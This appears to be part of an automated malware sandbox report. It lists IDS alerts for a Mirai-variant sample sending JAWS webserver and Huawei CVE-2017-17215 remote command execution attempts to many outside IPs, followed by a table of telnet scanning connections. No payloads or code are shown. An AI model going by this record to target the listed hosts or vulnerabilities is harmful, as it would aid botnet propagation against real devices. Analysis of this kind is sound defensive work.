2025-01-05T14:36:22.509775+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54346	217.60.4.70	80	TCP
2025-01-05T14:36:22.715734+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51536	49.184.211.107	80	TCP
2025-01-05T14:36:22.715734+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51536	49.184.211.107	80	TCP
2025-01-05T14:36:22.715787+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50380	52.125.252.133	80	TCP
2025-01-05T14:36:22.715787+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50380	52.125.252.133	80	TCP
2025-01-05T14:36:22.715880+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44508	92.118.200.30	80	TCP
2025-01-05T14:36:22.715880+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44508	92.118.200.30	80	TCP
2025-01-05T14:36:22.715971+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60978	216.53.14.97	80	TCP
2025-01-05T14:36:22.715971+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60978	216.53.14.97	80	TCP
2025-01-05T14:36:22.716044+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39108	130.70.110.215	80	TCP
2025-01-05T14:36:22.716044+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39108	130.70.110.215	80	TCP
2025-01-05T14:36:22.720426+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35578	126.133.2.89	80	TCP
2025-01-05T14:36:22.720426+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35578	126.133.2.89	80	TCP
2025-01-05T14:36:22.721482+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56232	130.242.236.67	80	TCP
2025-01-05T14:36:22.721482+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56232	130.242.236.67	80	TCP
2025-01-05T14:36:22.731587+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51068	86.25.41.35	80	TCP
2025-01-05T14:36:22.731587+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51068	86.25.41.35	80	TCP
2025-01-05T14:36:22.731742+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43536	58.35.162.105	80	TCP
2025-01-05T14:36:22.731742+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43536	58.35.162.105	80	TCP
2025-01-05T14:36:22.732111+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45038	95.138.70.178	80	TCP
2025-01-05T14:36:22.732111+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45038	95.138.70.178	80	TCP
2025-01-05T14:36:22.732984+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35592	202.249.159.55	80	TCP
2025-01-05T14:36:22.732984+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35592	202.249.159.55	80	TCP
2025-01-05T14:36:22.733142+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36424	161.198.210.209	80	TCP
2025-01-05T14:36:22.733142+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36424	161.198.210.209	80	TCP
2025-01-05T14:36:22.733339+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59716	114.165.65.37	80	TCP
2025-01-05T14:36:22.733339+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59716	114.165.65.37	80	TCP
2025-01-05T14:36:22.733393+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53222	34.198.195.202	80	TCP
2025-01-05T14:36:22.733393+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53222	34.198.195.202	80	TCP
2025-01-05T14:36:22.735144+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43764	149.32.171.176	80	TCP
2025-01-05T14:36:22.735144+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43764	149.32.171.176	80	TCP
2025-01-05T14:36:22.735225+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47506	213.212.154.140	80	TCP
2025-01-05T14:36:22.735225+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47506	213.212.154.140	80	TCP
2025-01-05T14:36:22.736886+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36142	112.86.48.170	80	TCP
2025-01-05T14:36:22.736886+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36142	112.86.48.170	80	TCP
2025-01-05T14:36:22.736940+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60800	113.27.221.206	80	TCP
2025-01-05T14:36:22.736940+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60800	113.27.221.206	80	TCP
2025-01-05T14:36:22.747791+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39740	106.16.125.129	80	TCP
2025-01-05T14:36:22.747791+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39740	106.16.125.129	80	TCP
2025-01-05T14:36:22.762600+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47934	183.9.238.50	80	TCP
2025-01-05T14:36:22.762600+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47934	183.9.238.50	80	TCP
2025-01-05T14:36:23.269438+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33314	23.216.156.216	80	TCP
2025-01-05T14:36:23.269438+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33314	23.216.156.216	80	TCP
2025-01-05T14:36:23.700223+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58598	102.99.86.117	80	TCP
2025-01-05T14:36:23.700223+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58598	102.99.86.117	80	TCP
2025-01-05T14:36:23.746930+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51526	41.139.248.107	37215	TCP
2025-01-05T14:36:23.747713+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46098	197.93.4.231	37215	TCP
2025-01-05T14:36:24.735281+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47740	41.228.14.186	37215	TCP
2025-01-05T14:36:24.762502+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34150	189.61.14.125	80	TCP
2025-01-05T14:36:24.762502+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34150	189.61.14.125	80	TCP
2025-01-05T14:36:24.767382+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55732	197.250.13.102	37215	TCP
2025-01-05T14:36:25.809667+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59850	156.22.131.35	37215	TCP
2025-01-05T14:36:25.841115+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33852	197.148.91.70	37215	TCP
2025-01-05T14:36:26.747854+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60536	45.32.132.210	80	TCP
2025-01-05T14:36:26.747854+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60536	45.32.132.210	80	TCP
2025-01-05T14:36:26.809499+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	32822	182.191.143.241	80	TCP
2025-01-05T14:36:26.809499+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	32822	182.191.143.241	80	TCP
2025-01-05T14:36:26.811591+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58140	31.143.102.164	80	TCP
2025-01-05T14:36:26.811591+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58140	31.143.102.164	80	TCP
2025-01-05T14:36:26.813379+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54542	72.18.70.237	80	TCP
2025-01-05T14:36:26.815166+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42608	77.112.7.59	80	TCP
2025-01-05T14:36:26.815166+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42608	77.112.7.59	80	TCP
2025-01-05T14:36:26.829013+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36550	126.219.116.33	80	TCP
2025-01-05T14:36:26.829013+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36550	126.219.116.33	80	TCP
2025-01-05T14:36:27.259686+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34774	23.216.20.11	80	TCP
2025-01-05T14:36:27.259686+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34774	23.216.20.11	80	TCP
2025-01-05T14:36:27.762751+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37928	84.27.175.6	80	TCP
2025-01-05T14:36:27.762751+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37928	84.27.175.6	80	TCP
2025-01-05T14:36:27.780769+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56486	88.64.116.168	80	TCP
2025-01-05T14:36:27.780769+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56486	88.64.116.168	80	TCP
2025-01-05T14:36:27.780917+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40416	129.89.187.14	80	TCP
2025-01-05T14:36:27.780917+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40416	129.89.187.14	80	TCP
2025-01-05T14:36:27.780932+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56748	149.180.166.162	80	TCP
2025-01-05T14:36:27.780932+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56748	149.180.166.162	80	TCP
2025-01-05T14:36:27.794065+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59596	154.131.102.164	80	TCP
2025-01-05T14:36:27.794065+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59596	154.131.102.164	80	TCP
2025-01-05T14:36:27.794565+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37928	176.108.10.80	80	TCP
2025-01-05T14:36:27.794565+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37928	176.108.10.80	80	TCP
2025-01-05T14:36:27.794907+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48372	76.47.229.222	80	TCP
2025-01-05T14:36:27.794907+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48372	76.47.229.222	80	TCP
2025-01-05T14:36:27.795979+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56240	203.226.246.10	80	TCP
2025-01-05T14:36:27.799071+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50084	166.233.6.250	80	TCP
2025-01-05T14:36:27.799071+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50084	166.233.6.250	80	TCP
2025-01-05T14:36:27.800224+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57110	190.145.215.85	80	TCP
2025-01-05T14:36:27.800224+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57110	190.145.215.85	80	TCP
2025-01-05T14:36:27.810377+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51122	24.125.3.173	80	TCP
2025-01-05T14:36:27.810568+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36440	72.197.110.224	80	TCP
2025-01-05T14:36:27.810568+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36440	72.197.110.224	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 14:34:51.664870024 CET	29476	23	192.168.2.13	83.35.249.211
Jan 5, 2025 14:34:51.664905071 CET	29476	23	192.168.2.13	148.18.74.211
Jan 5, 2025 14:34:51.664921045 CET	29476	23	192.168.2.13	2.152.67.210
Jan 5, 2025 14:34:51.664936066 CET	29476	23	192.168.2.13	151.167.86.164
Jan 5, 2025 14:34:51.664946079 CET	29476	23	192.168.2.13	218.190.219.79
Jan 5, 2025 14:34:51.664963007 CET	29476	23	192.168.2.13	124.30.231.141
Jan 5, 2025 14:34:51.664963007 CET	29476	23	192.168.2.13	178.148.48.168
Jan 5, 2025 14:34:51.664971113 CET	29476	23	192.168.2.13	61.24.150.47
Jan 5, 2025 14:34:51.664983034 CET	29476	23	192.168.2.13	116.6.67.71
Jan 5, 2025 14:34:51.664997101 CET	29476	23	192.168.2.13	108.54.252.117
Jan 5, 2025 14:34:51.665004015 CET	29476	23	192.168.2.13	20.136.18.142
Jan 5, 2025 14:34:51.665011883 CET	29476	23	192.168.2.13	210.132.41.207
Jan 5, 2025 14:34:51.665011883 CET	29476	23	192.168.2.13	190.127.212.84
Jan 5, 2025 14:34:51.665011883 CET	29476	23	192.168.2.13	199.102.116.109
Jan 5, 2025 14:34:51.665023088 CET	29476	23	192.168.2.13	103.102.48.33
Jan 5, 2025 14:34:51.665041924 CET	29476	23	192.168.2.13	9.159.71.35
Jan 5, 2025 14:34:51.665047884 CET	29476	23	192.168.2.13	212.199.188.122
Jan 5, 2025 14:34:51.665055037 CET	29476	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:34:51.665067911 CET	29476	23	192.168.2.13	193.138.201.14
Jan 5, 2025 14:34:51.665067911 CET	29476	23	192.168.2.13	23.252.32.13
Jan 5, 2025 14:34:51.665075064 CET	29476	23	192.168.2.13	77.212.251.73
Jan 5, 2025 14:34:51.665143013 CET	29476	23	192.168.2.13	172.137.92.232
Jan 5, 2025 14:34:51.665157080 CET	29476	23	192.168.2.13	84.96.230.45
Jan 5, 2025 14:34:51.665159941 CET	29476	23	192.168.2.13	161.107.126.215
Jan 5, 2025 14:34:51.665162086 CET	29476	23	192.168.2.13	159.228.21.229
Jan 5, 2025 14:34:51.665163994 CET	29476	23	192.168.2.13	117.41.8.6
Jan 5, 2025 14:34:51.665184021 CET	29476	23	192.168.2.13	89.187.214.24
Jan 5, 2025 14:34:51.665184021 CET	29476	23	192.168.2.13	165.27.223.215
Jan 5, 2025 14:34:51.665220976 CET	29476	23	192.168.2.13	42.206.9.68
Jan 5, 2025 14:34:51.665222883 CET	29476	23	192.168.2.13	180.236.235.37
Jan 5, 2025 14:34:51.665222883 CET	29476	23	192.168.2.13	189.210.252.131
Jan 5, 2025 14:34:51.665222883 CET	29476	23	192.168.2.13	176.62.17.197
Jan 5, 2025 14:34:51.665224075 CET	29476	23	192.168.2.13	94.239.228.202
Jan 5, 2025 14:34:51.665240049 CET	29476	23	192.168.2.13	174.99.165.96
Jan 5, 2025 14:34:51.665247917 CET	29476	23	192.168.2.13	216.73.220.29
Jan 5, 2025 14:34:51.665254116 CET	29476	23	192.168.2.13	137.133.61.92
Jan 5, 2025 14:34:51.665266991 CET	29476	23	192.168.2.13	116.62.184.45
Jan 5, 2025 14:34:51.665287018 CET	29476	23	192.168.2.13	124.249.59.186
Jan 5, 2025 14:34:51.665292978 CET	29476	23	192.168.2.13	88.49.37.108
Jan 5, 2025 14:34:51.665311098 CET	29476	23	192.168.2.13	70.6.210.210
Jan 5, 2025 14:34:51.665312052 CET	29476	23	192.168.2.13	95.137.136.0
Jan 5, 2025 14:34:51.665317059 CET	29476	23	192.168.2.13	69.102.43.202
Jan 5, 2025 14:34:51.665321112 CET	29476	23	192.168.2.13	71.72.102.221
Jan 5, 2025 14:34:51.665322065 CET	29476	23	192.168.2.13	65.6.171.137
Jan 5, 2025 14:34:51.665338993 CET	29476	23	192.168.2.13	164.163.92.248
Jan 5, 2025 14:34:51.665352106 CET	29476	23	192.168.2.13	209.167.167.43
Jan 5, 2025 14:34:51.665366888 CET	29476	23	192.168.2.13	120.177.111.158
Jan 5, 2025 14:34:51.665380001 CET	29476	23	192.168.2.13	84.160.137.155
Jan 5, 2025 14:34:51.665380955 CET	29476	23	192.168.2.13	141.166.199.240
Jan 5, 2025 14:34:51.665393114 CET	29476	23	192.168.2.13	113.1.234.68
Jan 5, 2025 14:34:51.665402889 CET	29476	23	192.168.2.13	157.159.238.248
Jan 5, 2025 14:34:51.665406942 CET	29476	23	192.168.2.13	18.35.143.196
Jan 5, 2025 14:34:51.665422916 CET	29476	23	192.168.2.13	223.130.156.254
Jan 5, 2025 14:34:51.665422916 CET	29476	23	192.168.2.13	136.222.253.62
Jan 5, 2025 14:34:51.665422916 CET	29476	23	192.168.2.13	188.42.65.65
Jan 5, 2025 14:34:51.665431976 CET	29476	23	192.168.2.13	119.98.226.210
Jan 5, 2025 14:34:51.665452003 CET	29476	23	192.168.2.13	69.238.78.79
Jan 5, 2025 14:34:51.665465117 CET	29476	23	192.168.2.13	84.19.213.225
Jan 5, 2025 14:34:51.665465117 CET	29476	23	192.168.2.13	136.77.55.253
Jan 5, 2025 14:34:51.665474892 CET	29476	23	192.168.2.13	191.166.58.189
Jan 5, 2025 14:34:51.665482998 CET	29476	23	192.168.2.13	17.135.91.220
Jan 5, 2025 14:34:51.665486097 CET	29476	23	192.168.2.13	82.114.48.162
Jan 5, 2025 14:34:51.665486097 CET	29476	23	192.168.2.13	207.216.222.43
Jan 5, 2025 14:34:51.665502071 CET	29476	23	192.168.2.13	70.133.137.245
Jan 5, 2025 14:34:51.665509939 CET	29476	23	192.168.2.13	69.53.157.205
Jan 5, 2025 14:34:51.665530920 CET	29476	23	192.168.2.13	35.234.113.178
Jan 5, 2025 14:34:51.665548086 CET	29476	23	192.168.2.13	67.124.151.66
Jan 5, 2025 14:34:51.665555000 CET	29476	23	192.168.2.13	160.55.88.43
Jan 5, 2025 14:34:51.665565968 CET	29476	23	192.168.2.13	204.126.194.150
Jan 5, 2025 14:34:51.665568113 CET	29476	23	192.168.2.13	36.216.206.89
Jan 5, 2025 14:34:51.665585995 CET	29476	23	192.168.2.13	138.36.223.72
Jan 5, 2025 14:34:51.665591002 CET	29476	23	192.168.2.13	110.23.108.178
Jan 5, 2025 14:34:51.665595055 CET	29476	23	192.168.2.13	70.17.146.154
Jan 5, 2025 14:34:51.665602922 CET	29476	23	192.168.2.13	157.119.15.147
Jan 5, 2025 14:34:51.665606976 CET	29476	23	192.168.2.13	72.176.82.174
Jan 5, 2025 14:34:51.665635109 CET	29476	23	192.168.2.13	118.244.137.53
Jan 5, 2025 14:34:51.665637016 CET	29476	23	192.168.2.13	207.178.143.202
Jan 5, 2025 14:34:51.665643930 CET	29476	23	192.168.2.13	148.231.139.46
Jan 5, 2025 14:34:51.665653944 CET	29476	23	192.168.2.13	75.65.77.94
Jan 5, 2025 14:34:51.665653944 CET	29476	23	192.168.2.13	132.147.186.17
Jan 5, 2025 14:34:51.665666103 CET	29476	23	192.168.2.13	164.69.214.149
Jan 5, 2025 14:34:51.665678978 CET	29476	23	192.168.2.13	20.105.176.211
Jan 5, 2025 14:34:51.665689945 CET	29476	23	192.168.2.13	34.34.62.125
Jan 5, 2025 14:34:51.665712118 CET	29476	23	192.168.2.13	133.16.187.164
Jan 5, 2025 14:34:51.665725946 CET	29476	23	192.168.2.13	135.20.8.103
Jan 5, 2025 14:34:51.665728092 CET	29476	23	192.168.2.13	133.130.255.226
Jan 5, 2025 14:34:51.665730000 CET	29476	23	192.168.2.13	191.28.203.118
Jan 5, 2025 14:34:51.665745974 CET	29476	23	192.168.2.13	77.153.239.134
Jan 5, 2025 14:34:51.665747881 CET	29476	23	192.168.2.13	64.110.223.253
Jan 5, 2025 14:34:51.665756941 CET	29476	23	192.168.2.13	168.97.13.213
Jan 5, 2025 14:34:51.665766954 CET	29476	23	192.168.2.13	175.101.166.97
Jan 5, 2025 14:34:51.665791035 CET	29476	23	192.168.2.13	85.198.247.101
Jan 5, 2025 14:34:51.666902065 CET	29476	23	192.168.2.13	103.165.122.61
Jan 5, 2025 14:34:51.666908979 CET	29476	23	192.168.2.13	58.228.92.114
Jan 5, 2025 14:34:51.666922092 CET	29476	23	192.168.2.13	67.157.1.194
Jan 5, 2025 14:34:51.666935921 CET	29476	23	192.168.2.13	19.66.193.236
Jan 5, 2025 14:34:51.666939020 CET	29476	23	192.168.2.13	75.59.253.228
Jan 5, 2025 14:34:51.666954994 CET	29476	23	192.168.2.13	67.20.221.51
Jan 5, 2025 14:34:51.666966915 CET	29476	23	192.168.2.13	59.254.232.109
Jan 5, 2025 14:34:51.666969061 CET	29476	23	192.168.2.13	38.238.163.136
Jan 5, 2025 14:34:51.666975021 CET	29476	23	192.168.2.13	126.67.151.215
Jan 5, 2025 14:34:51.666986942 CET	29476	23	192.168.2.13	170.34.2.47
Jan 5, 2025 14:34:51.666992903 CET	29476	23	192.168.2.13	167.103.135.156
Jan 5, 2025 14:34:51.667121887 CET	29476	23	192.168.2.13	169.80.53.224
Jan 5, 2025 14:34:51.667160034 CET	29476	23	192.168.2.13	185.149.71.50
Jan 5, 2025 14:34:51.667162895 CET	29476	23	192.168.2.13	17.71.221.122
Jan 5, 2025 14:34:51.667165041 CET	29476	23	192.168.2.13	141.206.189.98
Jan 5, 2025 14:34:51.667181015 CET	29476	23	192.168.2.13	80.75.34.72
Jan 5, 2025 14:34:51.667181015 CET	29476	23	192.168.2.13	137.2.203.113
Jan 5, 2025 14:34:51.667186022 CET	29476	23	192.168.2.13	206.170.148.214
Jan 5, 2025 14:34:51.667207003 CET	29476	23	192.168.2.13	159.34.126.131
Jan 5, 2025 14:34:51.667212963 CET	29476	23	192.168.2.13	193.221.3.204
Jan 5, 2025 14:34:51.667251110 CET	29476	23	192.168.2.13	173.34.108.81
Jan 5, 2025 14:34:51.667252064 CET	29476	23	192.168.2.13	113.246.89.170
Jan 5, 2025 14:34:51.667252064 CET	29476	23	192.168.2.13	94.179.87.29
Jan 5, 2025 14:34:51.667268038 CET	29476	23	192.168.2.13	117.202.251.54
Jan 5, 2025 14:34:51.667269945 CET	29476	23	192.168.2.13	201.200.28.86
Jan 5, 2025 14:34:51.667283058 CET	29476	23	192.168.2.13	25.88.34.154
Jan 5, 2025 14:34:51.667289019 CET	29476	23	192.168.2.13	45.192.98.116
Jan 5, 2025 14:34:51.667290926 CET	29476	23	192.168.2.13	124.184.168.141
Jan 5, 2025 14:34:51.667295933 CET	29476	23	192.168.2.13	200.5.75.161
Jan 5, 2025 14:34:51.667296886 CET	29476	23	192.168.2.13	117.211.174.252
Jan 5, 2025 14:34:51.667321920 CET	29476	23	192.168.2.13	53.94.45.161
Jan 5, 2025 14:34:51.667335987 CET	29476	23	192.168.2.13	84.81.61.163
Jan 5, 2025 14:34:51.667340040 CET	29476	23	192.168.2.13	58.100.145.81
Jan 5, 2025 14:34:51.667341948 CET	29476	23	192.168.2.13	116.181.72.250
Jan 5, 2025 14:34:51.667351961 CET	29476	23	192.168.2.13	41.47.163.213
Jan 5, 2025 14:34:51.667368889 CET	29476	23	192.168.2.13	164.245.203.110
Jan 5, 2025 14:34:51.667372942 CET	29476	23	192.168.2.13	8.105.22.54
Jan 5, 2025 14:34:51.667377949 CET	29476	23	192.168.2.13	180.70.102.188
Jan 5, 2025 14:34:51.667450905 CET	29476	23	192.168.2.13	192.123.9.199
Jan 5, 2025 14:34:51.667474985 CET	29476	23	192.168.2.13	86.81.215.30
Jan 5, 2025 14:34:51.667577982 CET	29476	23	192.168.2.13	140.7.84.212
Jan 5, 2025 14:34:51.667581081 CET	29476	23	192.168.2.13	83.231.243.155
Jan 5, 2025 14:34:51.667581081 CET	29476	23	192.168.2.13	40.111.130.208
Jan 5, 2025 14:34:51.667581081 CET	29476	23	192.168.2.13	14.146.250.129
Jan 5, 2025 14:34:51.667596102 CET	29476	23	192.168.2.13	23.137.250.176
Jan 5, 2025 14:34:51.667602062 CET	29476	23	192.168.2.13	201.9.216.45
Jan 5, 2025 14:34:51.667602062 CET	29476	23	192.168.2.13	130.110.243.37
Jan 5, 2025 14:34:51.667614937 CET	29476	23	192.168.2.13	189.243.232.129
Jan 5, 2025 14:34:51.667625904 CET	29476	23	192.168.2.13	117.212.61.246
Jan 5, 2025 14:34:51.667628050 CET	29476	23	192.168.2.13	120.107.79.13
Jan 5, 2025 14:34:51.667628050 CET	29476	23	192.168.2.13	170.57.159.76
Jan 5, 2025 14:34:51.667648077 CET	29476	23	192.168.2.13	41.0.96.11
Jan 5, 2025 14:34:51.667749882 CET	29476	23	192.168.2.13	62.68.148.188
Jan 5, 2025 14:34:51.667752981 CET	29476	23	192.168.2.13	130.212.80.161
Jan 5, 2025 14:34:51.667767048 CET	29476	23	192.168.2.13	205.116.13.251
Jan 5, 2025 14:34:51.667777061 CET	29476	23	192.168.2.13	9.255.126.84
Jan 5, 2025 14:34:51.667778015 CET	29476	23	192.168.2.13	189.32.169.160
Jan 5, 2025 14:34:51.667785883 CET	29476	23	192.168.2.13	173.69.75.153
Jan 5, 2025 14:34:51.667804956 CET	29476	23	192.168.2.13	89.200.241.254
Jan 5, 2025 14:34:51.667831898 CET	29476	23	192.168.2.13	51.253.233.116
Jan 5, 2025 14:34:51.667840958 CET	29476	23	192.168.2.13	128.228.90.182
Jan 5, 2025 14:34:51.667840958 CET	29476	23	192.168.2.13	175.165.253.95
Jan 5, 2025 14:34:51.667848110 CET	29476	23	192.168.2.13	67.192.15.50
Jan 5, 2025 14:34:51.667862892 CET	29476	23	192.168.2.13	68.131.152.79
Jan 5, 2025 14:34:51.667862892 CET	29476	23	192.168.2.13	202.166.154.210
Jan 5, 2025 14:34:51.667865038 CET	29476	23	192.168.2.13	148.144.246.36
Jan 5, 2025 14:34:51.667874098 CET	29476	23	192.168.2.13	53.116.175.131
Jan 5, 2025 14:34:51.667881012 CET	29476	23	192.168.2.13	185.35.208.98
Jan 5, 2025 14:34:51.667887926 CET	29476	23	192.168.2.13	32.118.36.200
Jan 5, 2025 14:34:51.667912006 CET	29476	23	192.168.2.13	187.51.163.74
Jan 5, 2025 14:34:51.667931080 CET	29476	23	192.168.2.13	201.188.155.150
Jan 5, 2025 14:34:51.667932987 CET	29476	23	192.168.2.13	168.58.188.4
Jan 5, 2025 14:34:51.667946100 CET	29476	23	192.168.2.13	202.166.12.138
Jan 5, 2025 14:34:51.667946100 CET	29476	23	192.168.2.13	88.23.51.183
Jan 5, 2025 14:34:51.667954922 CET	29476	23	192.168.2.13	49.105.203.50
Jan 5, 2025 14:34:51.667968035 CET	29476	23	192.168.2.13	63.178.116.229
Jan 5, 2025 14:34:51.667977095 CET	29476	23	192.168.2.13	37.90.50.145
Jan 5, 2025 14:34:51.667984009 CET	29476	23	192.168.2.13	192.205.16.163
Jan 5, 2025 14:34:51.668004990 CET	29476	23	192.168.2.13	82.80.137.90
Jan 5, 2025 14:34:51.668004990 CET	29476	23	192.168.2.13	166.21.16.17
Jan 5, 2025 14:34:51.668010950 CET	29476	23	192.168.2.13	115.110.36.22
Jan 5, 2025 14:34:51.668025017 CET	29476	23	192.168.2.13	70.1.43.238
Jan 5, 2025 14:34:51.668031931 CET	29476	23	192.168.2.13	159.44.198.213
Jan 5, 2025 14:34:51.668034077 CET	29476	23	192.168.2.13	13.60.164.32
Jan 5, 2025 14:34:51.668045044 CET	29476	23	192.168.2.13	202.24.157.245
Jan 5, 2025 14:34:51.668114901 CET	29476	23	192.168.2.13	100.134.228.251
Jan 5, 2025 14:34:51.668380022 CET	29476	23	192.168.2.13	51.173.254.210
Jan 5, 2025 14:34:51.668382883 CET	29476	23	192.168.2.13	110.223.74.15
Jan 5, 2025 14:34:51.668382883 CET	29476	23	192.168.2.13	66.247.187.167
